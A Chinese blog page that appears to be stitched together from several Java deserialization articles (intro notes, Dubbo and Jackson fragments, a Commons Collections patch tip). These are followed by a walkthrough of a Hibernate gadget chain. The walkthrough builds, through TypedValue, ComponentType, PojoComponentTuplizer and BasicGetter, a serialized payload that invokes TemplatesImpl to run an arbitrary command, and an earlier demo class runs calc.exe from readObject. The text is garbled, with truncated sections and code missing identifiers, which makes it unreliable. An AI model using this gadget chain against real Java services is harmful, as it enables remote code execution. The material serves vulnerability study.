java反序列化漏洞-金蛇剑之hibernate(上)
JAVA反序列化漏洞入门学习笔记(一)--反序列化简介

JAVA反序列化漏洞⼊门学习笔记(⼀)--反序列化简介JAVA 真的令⼈头⼤参考⽂章JAVA 序列化与反序列化简介同 PHP/Python 类似,java 序列化的⽬的是将程序中对象状态转换成以数据流形式,反序列化是将数据流恢复为对象。
此举可以有效地实现多平台之间的通信、对象持久化存储。
序列化实例import java.io.*;//定义⼀个可序列化的类,该类必须实现 java.io.Serializable 接⼝class Giao implements java.io.Serializable{public String name;public String motto;public void saygiao(){System.out.println(this.motto);}// ⾃定义 readObject ⽅法private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{//执⾏默认的readObject()⽅法in.defaultReadObject();//执⾏命令Runtime.getRuntime().exec("calc.exe");}}//序列化/反序列化public class SerializeGiao{public static void main(String [] args) throws IOException, ClassNotFoundException{//实例化⼀个可序列化对象Giao testClass = new Giao(); = "说唱带师";testClass.motto = "⼀给我哩 giao giao!";//序列化//将序列化后的对象写⼊到⽂件FileOutputStream fos = new FileOutputStream("test.ser");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(testClass);os.close();fos.close();//反序列化Giao obj = null;//从⽂件读取序列化的结果后进⾏反序列化FileInputStream fis = new FileInputStream("test.ser");ObjectInputStream ois = new ObjectInputStream(fis);obj = (Giao)ois.readObject();ois.close();fis.close();System.out.println();System.out.println(obj.motto);}}//由此可见:⼈⽣苦短,我⽤ Python序列化结果:反序列化结果:序列化条件⼀个类的对象要想序列化成功,必须满⾜两个条件:该类必须实现 java.io.Serializable 或 java.io.Externalizable 接⼝。
Java安全之Dubbo反序列化漏洞分析

Java安全之Dubbo反序列化漏洞分析Java安全之Dubbo反序列化漏洞分析0x00 前⾔最近天⽓冷,懒癌⼜犯了,加上各种项⽬使得本篇⽂断断续续。
0x01 Dubbo概述Dubbo是阿⾥巴巴开源的基于 Java 的⾼性能 RPC(⼀种远程调⽤)分布式服务框架(SOA),致⼒于提供⾼性能和透明化的RPC远程服务调⽤⽅案,以及SOA服务治理⽅案。
dubbo ⽀持多种序列化⽅式并且序列化是和协议相对应的。
⽐如:Dubbo⽀持dubbo、rmi、hessian、http、webservice、thrift、redis等多种协议。
运⾏机制Dubbo框架启动,容器Container⼀启动,服务提供者Provider会将提供的服务信息注册到注册中⼼Registry,注册中⼼就知道有哪些服务上线了;当服务消费者Consumer启动,它会从注册中⼼订阅subscribe所需要的服务。
若某个服务提供者变更,⽐如某个机器下线宕机,注册中⼼基于长连接的⽅式将变更信息通知给消费者。
消费者可以调⽤服务提供者的服务,同时会根据负载均衡算法选择服务来调⽤。
每次的调⽤信息、服务信息等会定时统计发送给监控中⼼Monitor,监控中⼼能够监控服务的运⾏状态。
以上图⽚是官⽅提供的⼀个运⾏流程图节点⾓⾊说明Provider暴露服务的服务提供⽅Consumer调⽤远程服务的服务消费⽅Registry服务注册与发现的注册中⼼Monitor统计服务的调⽤次数和调⽤时间的监控中⼼Container服务运⾏容器服务容器负责启动,加载,运⾏服务提供者。
服务提供者在启动时,向注册中⼼注册⾃⼰提供的服务。
服务消费者在启动时,向注册中⼼订阅⾃⼰所需的服务。
注册中⼼返回服务提供者地址列表给消费者,如果有变更,注册中⼼将基于长连接推送变更数据给消费者。
服务消费者,从提供者地址列表中,基于软负载均衡算法,选⼀台提供者进⾏调⽤,如果调⽤失败,再选另⼀台调⽤。
Java序列化反序列化原理及漏洞解决方案

Java序列化反序列化原理及漏洞解决⽅案Java序列化Java 提供了⼀种对象序列化的机制,该机制中,⼀个对象可以被表⽰为⼀个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。
Java反序列化反序列化就是将字节序列恢复为Java对象的过程整个过程都是 Java 虚拟机(JVM)独⽴的,也就是说,在⼀个平台上序列化的对象可以在另⼀个完全不同的平台上反序列化该对象,因此可以实现多平台之间的通信、对象持久化存储,主要有如下⼏个应⽤场景。
HTTP:多平台之间的通信,管理等RMI:是 Java 的⼀组拥护开发分布式应⽤程序的 API,实现了不同操作系统之间程序的⽅法调⽤。
值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端⼝是1099端⼝。
JMX:JMX 是⼀套标准的代理和服务,⽤户可以在任何 Java 应⽤程序中使⽤这些代理和服务实现管理,中间件软件 WebLogic 的管理页⾯就是基于 JMX 开发的,⽽ JBoss 则整个系统都基于 JMX 构架。
系列化反序列化基础序列化和反序列化本⾝并不存在问题。
但当输⼊的反序列化的数据可被⽤户控制,那么攻击者即可通过构造恶意输⼊,让反序列化产⽣⾮预期的对象,在此过程中执⾏构造的任意代码。
⼀个类的对象能够序列化的成功需要两个条件该类必须实现 java.io.Serializable 接⼝该类的所有属性必须是可序列化的。
如果有⼀个属性不是可序列化的,则该属性必须注明是短暂的。
漏洞基本原理简单的反序列化Demo⾸先定义对象类Persion,包含两个参数public class implements java.io.Serializable{public String name;public int age;public void info(){System.out.println("Name:"++";nAge:"+this.age);}}在主类中声明对象,并且将对象序列化为⼆进制⽂件,将其存储到硬盘中import java.io.*;public class Main{public static void main(String [] args){将对象序列化为⼆进制⽂件Persion p = new Persion(); = "Joner";p.age = 18;try {//打开⼀个⽂件输⼊流FileOutputStream fileOut = new FileOutputStream("D:\test\test.db");//建⽴对象输⼊流ObjectOutputStream out = new ObjectOutputStream(fileOut);//输出反序列化对象out.writeObject(p);out.close();fileOut.close();System.out.printf("保存成功");}catch(IOException i){i.printStackTrace();}}进⾏反序列化import java.io.*;public class Main{public static void main(String [] args){/*从⼆进制⽂件中提取对象*/Persion persion = null;try{FileInputStream fileInputStream = new FileInputStream("D:\test\test.db");//建⽴对象输⼊流ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);persion = (Persion) inputStream.readObject();inputStream.close();fileInputStream.close();}catch (ClassNotFoundException c){System.out.println("对象未找到");c.printStackTrace();return;} catch (FileNotFoundException e) {e.printStackTrace();return;} catch (IOException e) {e.printStackTrace();return;}System.out.println("反序列化对象.......");System.out.println("Name:"+);System.out.println("Age:"+persion.age);}}查看test.db⽂件的内容可以看见如下内容其中 AC ED 00 05 是java 序列化内容的特征,其中00 05 是版本信息,base64编码后为ro0AB反序列化漏洞Demo在上⾯的Demo中可以看到,进⾏反序列化时会调⽤readObject()⽅法,如果readObject⽅法书写不当就会引发漏洞。
Java反序列化漏洞总结

Java反序列化漏洞总结前⾔什么是序列化和反序列化Java 提供了⼀种对象序列化的机制,该机制中,⼀个对象可以被表⽰为⼀个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。
反序列化就是通过序列化后的字段还原成这个对象本⾝。
但标识不被序列化的字段是不会被还原的。
序列化有什么⽤1)⽹站相应的session对象存储在硬盘上,那么保存在session中的内容就必须实现相关的序列化操作。
2)如果使⽤的java对象要在分布式中使⽤或者在rmi远程调⽤的⽹络中使⽤的话,那么相关的对象必须实现java序列化接⼝。
Java反序列化类型我们最常见就是原⽣的java反序列化类型,其实java中有⼏种⽅式可以执⾏反序列化,本⽂⽬的也是对这⼏种类型的反序列化⽅法进⾏归纳和总结。
1、 Java原⽣序列化Java包中⾃带的类InputStream和OutputStream,它们之间可以互相转化,使⽤writeObject序列化,使⽤readObject反序列化。
import java.io.*;public class DeserializeDemo{public static void main(String [] args){Employee e = null;try{FileInputStream fileIn = new FileInputStream("/tmp/employee.ser");ObjectInputStream in = new ObjectInputStream(fileIn);e = (Employee) in.readObject();in.close();fileIn.close();}catch(IOException i){i.printStackTrace();return;}catch(ClassNotFoundException c){System.out.println("Employee class not found");c.printStackTrace();return;}System.out.println("Deserialized Employee...");System.out.println("Name: " + );System.out.println("Address: " + e.address);System.out.println("SSN: " + e.SSN);System.out.println("Number: " + e.number);}}2、 Json反序列化Json序列化⼀般会使⽤jackson包,通过ObjectMapper类来进⾏⼀些操作,⽐如将对象转化为byte数组或者将json串转化为对象。
Java-Jackson反序列化漏洞及挖洞思路

源码分析Jackson反序列化漏洞前言:本次分析从Java序列化和反序列化源码开始分析,进一步分析Jackson源码,找出造成漏洞的原因,最后以Jackson2.9.2版本,JDK1.80_171,resin4.0.52,CVE-2020-10673为例复现漏洞。
一.JA V A反序列化原理1.1 Class对象每一个类都有一个Class对象,Class对象包含每一个类的运行时信息,每一个类都有一个Class对象,每编译一个类就产生一个Class对象,Class类没有公共的构造方法,Class对象是在类加载的时候由JVM以及通过调用类加载器中的DefineClass()方法自动构造的,因此不能显式地声明一个Class对象。
在类加载阶段,类加载器首先检查这个类的Class对象是否已经被加载。
如果尚未加载,默认的类加载器就会根据类的全限定名查找.class文件。
一旦某个类的Class对象被载入内存,我们就可以它来创建这个类的所有对象以及获得这个类的运行时信息。
获得Class对象的方法:1).Class.forName(“类的全名”);//com.xx.xx.xx2).实例对象.getClass()3).类名.class1.2反射JA V A反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
实现Java反射机制的类都位于ng.reflect包中:1).Class类:代表一个类2).Field类:代表类的成员变量(类的属性)3).Method类:代表类的方法4).Constructor类:代表类的构造方法5).Array类:提供了动态创建数组,以及访问数组的元素的静态方法简单反射调用代码Class clz=this.getClass();Object obj= clz.getMethod("方法名",Class对象序列).invoke(this,Object参数序列);1.3 反序列化Java 序列化是指把Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject() 方法可以实现序列化。
JAVA反序列化漏洞解决办法

JAVA反序列化漏洞解决办法⼀、漏洞描述:近期,反序列化任意代码执⾏漏洞持续发酵,越来越多的系统被爆出存在此漏洞。
Apache Commons⼯具集⼴泛应⽤于JAVA技术平台,存在Apache Commons Components InvokerTransformer反序列化任意代码执⾏漏洞, WebLogic、IBM WebSphere、JBoss、Jenkins和OpenNMS等应⽤都⼤量调⽤了Commons⼯具集,通过远程代码执⾏可对上述应⽤发起远程攻击。
⼆、漏洞解决办法:1 使⽤ SerialKiller 替换进⾏序列化操作的 ObjectInputStream 类;2 在不影响业务的情况下,临时删除掉项⽬⾥的“org/apache/commons/collections/functors/InvokerTransformer.class” ⽂件;在服务器上找org/apache/commons/collections/functors/InvokerTransformer.class类的jar,⽬前weblogic10以后都在Oracle/Middleware/modules下mons.collections_3.2.0.jar,创建临时⽬录tt,解压之后删除InvokerTransformer.class类后再打成mons.collections_3.2.0.jar覆盖Oracle/Middleware/modules下,重启所有服务。
如下步骤是linux详细操作⽅法:A)mkdir ttB)cp -r Oracle/Middleware/modules/mons.collections_3.2.0.jar ./ttC)jar xf Oracle/Middleware/modules/mons.collections_3.2.0.jarD)cd org/apache/commons/collections/functorsE)rm -rf InvokerTransformer.classF)jar cf mons.collections_3.2.0.jar org/* META-INF/*G)mv mons.collections_3.2.0.jar Oracle/Middleware/modules/H)重启服务三、漏洞解决办法:1、假如不是处理weblogic⾃带的mons.collections_3.2.0.jar,⽽是修改应⽤代码collections_*.jar,⼀定在发版本不能覆盖。
Java框架之Hibernate部分

Hibernate部分1.为什么要使用Hibernate开发你的项目呢?Hibernate的开发流程是怎么样的?为什么要使用①.对JDBC访问数据库的代码做了封装,大大简化了数据访问层繁琐的重复性代码。
②.Hibernate 是一个基于JDBC的主流持久化框架,是一个优秀的ORM 实现。
他很大程度的简化DAO层的编码工作③.hibernate 的性能非常好,因为它是个轻量级框架。
映射的灵活性很出色。
它支持各种关系数据库,从一对一到多对多的各种复杂关系。
开发流程2.什么是延迟加载?延迟加载机制是为了避免一些无谓的性能开销而提出来的,所谓延迟加载就是当在真正需要数据的时候,才真正执行数据加载操作。
在Hibernate中提供了对实体对象的延迟加载以及对集合的延迟加载,另外在Hibernate3中还提供了对属性的延迟加载。
3.说一下hibernate的缓存机制A:hibernate一级缓存(1)hibernate支持两个级别的缓存,默认只支持一级缓存;(2)每个Session内部自带一个一级缓存;(3)某个Session被关闭时,其对应的一级缓存自动清除;B:hibernate二级缓存(1) 二级缓存独立于session,默认不开启;4.Hibernate的查询方式有哪些?本地SQL查询、Criteria、Hql5.如何优化Hibernate?1.使用双向一对多关联,不使用单向一对多2.灵活使用单向一对多关联3.不用一对一,用多对一取代4.配置对象缓存,不使用集合缓存5.一对多集合使用Bag,多对多集合使用Set6. 继承类使用显式多态7. 表字段要少,表关联不要怕多,有二级缓存撑腰6.Hibernate中GET和LOAD的区别?请注意如果没有匹配的数据库记录,load()方法可能抛出无法恢复的异常(unrecoverable exception)。
如果类的映射使用了代理(proxy),load()方法会返回一个未初始化的代理,直到你调用该代理的某方法时才会去访问数据库。
Java反序列化漏洞研究

Java反序列化漏洞研究Java反序列化漏洞研究1. 漏洞原理java序列化就是把对象转换成字节流,便于保存在内存、⽂件、数据库中;反序列化即逆过程,由字节流还原成对象。
当反序列化的输⼊来源于程序外部,可以被⽤户控制,恶意⽤户便可以构造恶意的字节流,经反序列化之后得到精⼼构造的恶意对象。
也就是说⼀些java应⽤的数据在⽹络中传输,我们把⾥⾯的序列化数据抠出来,替换成我们的payload,应⽤程序接收之后把payload 进⾏反序列化,构造的恶意功能(如命令执⾏)就被执⾏了。
实际过程中直接忽略PCA的存在,hacker先于PCB完成⼀些前期的交互。
那么问题来了,如何构造能执⾏任意命令的payload?需要依赖于什么条件?哪些应⽤会在⽹络中传输序列化的数据?这些数据有什么特征?1. 序列化与反序列化原理上述代码说明了反序列化的过程,Java中通过writeObject()函数对对象进⾏序列化,将有结构的数据转换成为⽆结构的⼆进制串。
通过readObject()函数将⼆进制串反序列化还原成对象。
执⾏到12⾏时⽣成了⼀个String类型的对象。
执⾏到16⾏已经将序列化数据写⼊到object.db中了,前⾯的四个字节AC ED 00 05开头,后⾯会经常⽤到。
执⾏到24⾏,完成反序列化过程,将对象还原,此时对象id不同,其他均相同。
1. 构造执⾏任意命令的payload下⾯的代码能快速的体验payload是如何构造的。
程序1的RunInvo类,构造了⼀个MAP,再⽤它构造AnnotationInvocationHandler对象,将这个对象序列化到payload.bin中。
程序2读取payload.bin中的数据,通过readObject()进⾏反序列化,代码得到执⾏,弹出计算器,如下图所⽰。
代码执⾏关键点:AnnotationInvocationHandler,TransformedMap.decorate,InvokerTransformer从序列化数据传⼊readObject()开始解释为什么要依赖于这⼏个关键点。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
前言:金蛇剑:此剑金光灿烂形状奇特,剑身犹如是一条蛇盘曲而成。
蛇尾构成剑尖蛇头藏与剑柄,握在手中甚是沉重,原是由黄金铸造而成。
此剑形状甚是奇特,整柄剑就如是一条蛇盘曲而成,蛇尾勾成剑柄,蛇头则是剑尖,蛇舌伸出分叉,是以剑尖竟有两叉。
主角:hibernate介绍:Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的orm框架,hibernate可以自动生成SQL语句,自动执行,使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。
曾几何时,java web程序员必备面试宝典,ssh(spring+struts2+hibernate),当年笔者上javaweb课时,老师安利ssh,可见hibernate当年影响力多大。
今天笔者跟着大家一起来学习分析hibernate的反序列化漏洞。
正文:全局搜索了下关键字invoke,发现调用的地方很多。
其中org.hibernate.property.BasicPropertyAccessor中BasicGetter类中get函数中调用了此函数,后面构造分析的poc都是基于此类的。
根据前几篇的分析,我们大致有了思路。
看能不能借助 Xalan’sTemplatesImpl的_bytecodes字段来new一个evil类,或者是借助JdbcRowSetImpl,JNDIConnectionPool来做JNDI绑定(绑定这个词我也不知道恰不恰当)。
org.hibernate.engine.spi.TypedValue.TypedValue.readObject()->org.hibernate.engine.spi.TypedValue.initTransients()->ponentType.getHashCode()->ponentType.getPropertyValue()->ponent.AbstractComponentTuplizer.getPropertyValue()->org.hibernate.property.BasicPropertyAccessor.BasicGetter.get()首先先看BasicGetter类,其构造函数中需要指定3个参数,class,method,propertyName有如下大致思路,将method指定为getOutputProperties,然后将target传入一个TemplatesImpl对象。
其中调用的地方如下:ponent.AbstractComponentTuplizer.getPropertyValue()还需要利用反射区构造一个Getter数组,并且将BasicGetter放至在该数组中。
代码如下:Class<?> getter = Class.forName("org.hibernate.property.Getter");Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);bgCon.setAccessible(true);Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), "demo");Object array = Array.newInstance(getter,1);Array.set(array,0, basicGetter);由于AbstractComponentTuplizer是抽象类,不能直接newInstance(),所以要找到AbstractComponentTuplizer的子类,有很多,比如PojoComponentTuplizer。
下一步将PojoComponentTuplizer字段getter赋值为上面构造好的Getter数组。
对于构造函数为非public的类,可以利用ReflectionFactory来构造实体。
详情可以参考/entry/134713。
对于子类中没有,但是父类中含有的字段直接赋值是会出错的,提示ng.NoSuchFieldException: getters。
可以采用如下方式调用:(错误)PojoComponentTuplizer pojoComponentTuplizer = Tool.createWithoutConstructor(PojoComponentTuplizer.class);Tool.setFieldValue(pojoComponentTuplizer, "getters", getters);(正确)PojoComponentTuplizer pojoComponentTuplizer = Tool.createWithoutConstructor(PojoComponentTuplizer.class);Tool.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);一步一步来,根据调用链可知,下一步需要构造一个ComponentType,ComponentType.getPropertyValue函数如下:public Object getPropertyValue(Object component, int i)throws HibernateException {if ( component instanceof Object[] ) {// A few calls to hashCode pass the property values already in an// Object[] (ex: QueryKey hash codes for cached queries).// It's easiest to just check for the condition here prior to// trying reflection.return (( Object[] ) component)[i];} else {return componentTuplizer.getPropertyValue( component, i );}}ComponentType componentType = (ComponentType)Tool.getFirstCtor("ponentType").newInstance();Tool.setFieldValue(componentType, "componentTuplizer", pojoComponentTuplizer);这里需要给propertySpan赋值,因为在getHashCode中,有个执行getPropertyValue的先决条件。
执行一个任意大于0的数字即可。
最后一步中的TypedValue只有两个字段,type和value,分别指向method.invoke( target, (Object[]) null )中的method 和target,分别是TemplatesImpl.getOutputProperties和TemplatesImpl实体,TypedValue其部分关键代码如下:最终构造poc如下:String command = "Applications/Calculator.app/Contents/MacOS/Calculator";Object tpl = Gadgets.createTemplatesImpl(command);Object getters = makeBasicGetter(tpl.getClass(), "getOutputProperties");PojoComponentTuplizer pojoComponentTuplizer = Tool.createWithoutConstructor(PojoComponentTuplizer.class);Tool.getField(AbstractComponentTuplizer.class, "getters").set(pojoComponentTuplizer, getters);ComponentType componentType = (ComponentType)Tool.getFirstCtor("ponentType").newInstance();Tool.setFieldValue(componentType, "componentTuplizer", pojoComponentTuplizer);Tool.setFieldValue(componentType, "propertySpan", 10);TypedValue typedValue = (TypedValue)Tool.getFirstCtor("org.hibernate.engine.spi.TypedValue").newInstance();Tool.setFieldValue(typedValue, "type", componentType);Tool.setFieldValue(typedValue, "value", tpl);回顾下整个执行过程如下org.hibernate.engine.spi.TypedValue.TypedValue.readObject()->org.hibernate.engine.spi.TypedValue.initTransients()->ponentType.getHashCode()->ponentType.getPropertyValue()->ponent.AbstractComponentTuplizer.getPropertyValue()->org.hibernate.property.BasicPropertyAccessor.BasicGetter.get()总结整个执行链相对来说还是很复杂的,构造的时候需要一步一步耐心细心的分析,下一次单独讲讲出了利用TemplatesImpl之外,怎么利用JdbcRowSetImpl吧。